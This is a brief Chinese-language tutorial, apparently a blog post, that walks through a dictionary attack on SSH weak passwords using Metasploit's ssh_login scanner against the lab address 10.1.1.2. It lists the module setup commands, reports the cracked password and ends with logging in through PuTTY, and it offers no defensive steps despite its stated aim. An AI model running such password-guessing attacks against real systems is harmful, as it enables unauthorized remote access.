SSH是一种安全协议，但若存在弱口令，可能导致信息泄露和非法远程登录。本文通过Metasploit模拟对目标IP 10.1.1.2的SSH弱口令攻击，使用模块auxiliary/scanner/ssh/ssh_login，设置RHOSTS、PASS_FILE、USERNAME，并运行字典攻击，以演示如何检测和防范此类风险。
介绍
SSH，Secure Shell 的缩写，由 IETF 的网络工作小组（Network Working Group）所制定；SSH 为建立在应用层和传输层基础上的安全协议。SSH 是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题.
SSH若有弱口令,则容易被挖矿程序等远程登录等等
下面模拟 msf对ssh弱口令的攻击
目标主机IP : 10.1.1.2
使用metasploit对目标主机进行字典攻击
使用的模块为 auxiliary/scanner/ssh/ssh_login
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
输入set RHOSTS 10.1.1.2设置SSH主机地址，
输入set PASS_FILE c:\pass.txt设置字典文件
输入set USERNAME root设置破解的帐号名
设置完成后输入run命令运行字典攻击
密码 password
然后可以用 如PUTTY等工具链接 10.1.1.2
扫一扫
871
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
